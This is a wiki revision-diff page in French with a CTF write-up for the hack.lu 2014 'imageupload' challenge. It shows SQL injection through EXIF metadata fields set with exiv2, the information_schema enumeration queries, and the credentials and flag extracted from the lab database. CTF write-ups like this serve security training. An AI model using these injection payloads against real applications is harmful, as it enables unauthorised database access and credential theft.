Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
hack.lu_2014:imageupload [2014/10/27 20:45] nico34 créée |
hack.lu_2014:imageupload [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 13: | Ligne 13: | ||
- | En arrivant sur le site on remarque une page login.php ainsi qu'une page index.php contenant un formulaire d'upload d'image. | + | En arrivant sur le site on remarque une page login.php ainsi qu'une page index.php contenant un formulaire d'upload d'image.\\ |
- | En `uploadant̀` une image on remarque que différentes informations sont disponibles : | + | En `uploadant` une image on remarque que différentes informations sont disponibles : \\ |
- | Width, Height, Author, Manufacturer et Model | + | **Width, Height, Author, Manufacturer et Model** |
{{:hack.lu_2014:write1.png?200|}} | {{:hack.lu_2014:write1.png?200|}} | ||
- | On devine rapidement qu'il y a surement de modifier ces métadonnées. | + | On devine rapidement qu'il y a surement de modifier ces métadonnées.\\ |
- | Grâce à l'utilitaire exiv2[[http://www.exiv2.org/]], et en se renseignant dans la documentation, on trouve comment modifier les métadonnées d'une image: | + | Grâce à l'utilitaire exiv2[[http://www.exiv2.org/]], et en se renseignant dans la documentation, on trouve comment modifier les métadonnées d'une image:\\ |
<code> | <code> | ||
Ligne 34: | Ligne 34: | ||
</code> | </code> | ||
- | D'après les standards fournis par le site d'exiv2 [[http://www.exiv2.org/tags.html]] , on remarque les champs ImageWidth et ImageLength sont de type short, il ne sera donc pas possible d'y insérer des caractères spéciaux ou du texte. | + | D'après les standards fournis par le site d'exiv2 [[http://www.exiv2.org/tags.html]], on remarque les champs ImageWidth et ImageLength sont de type short, il ne sera donc pas possible d'y insérer des caractères spéciaux ou du texte.\\ |
- | On modifie notre image pour tester une injection dans le prochain champ: | + | On modifie notre image pour tester une injection dans le prochain champ:\\ |
<code> | <code> | ||
exiv2 -M"set Exif.Image.Make toto'" img.jpg | exiv2 -M"set Exif.Image.Make toto'" img.jpg | ||
</code> | </code> | ||
- | La page nous renvoie : **Error inserting in DB.** | + | La page nous renvoie : **Error inserting in DB.**\\ |
- | On image donc que la requête se forme comme ceci: | + | On image donc que la requête se forme comme ceci:\\ |
+ | <code> | ||
INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto'",""); | INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto'",""); | ||
+ | </code> | ||
- | On continue sur la voie de l'injection SQL: | + | On continue sur la voie de l'injection SQL:\\ |
+ | <code> | ||
exiv2 -M"set Exif.Image.Make toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#" img.jpg | exiv2 -M"set Exif.Image.Make toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#" img.jpg | ||
+ | </code> | ||
- | + | Ce qui nous donne une requête du type:\\ | |
- | Ce qui nous donne une requête du type: | + | <code> |
INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#<del>","");</del> | INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#<del>","");</del> | ||
- | + | </code> | |
- | Lors de l'affiche de l'image, nous remarquons le résultat de notre injection dans le champ Model. | + | Lors de l'affiche de l'image, nous remarquons le résultat de notre injection dans le champ Model.\\ |
{{:hack.lu_2014:write2.png?200|}} | {{:hack.lu_2014:write2.png?200|}} | ||
- | Nous continuons nos recherches sur la base 'chal': | + | Nous continuons nos recherches sur la base 'chal':\\ |
- | # On encode le nom de la base en hexadécimal | + | <code> |
+ | # On encode le nom de la base en hexadécimal\\ | ||
echo -n "chal" |xxd -ps | echo -n "chal" |xxd -ps | ||
=> 6368616c | => 6368616c | ||
Ligne 85: | Ligne 90: | ||
**=> 1:sheriff:AO7eikkOCucCFJOyyaaQ | **=> 1:sheriff:AO7eikkOCucCFJOyyaaQ | ||
2:deputy:testpw** | 2:deputy:testpw** | ||
+ | </code> | ||
+ | |||
+ | On peut maintenant se logguer avec le premier utilisateur:\\ | ||
+ | |||
+ | **You are sucessfully logged in.\\ | ||
+ | Flag: flag{1_5h07_7h3_5h3r1ff}**\\ | ||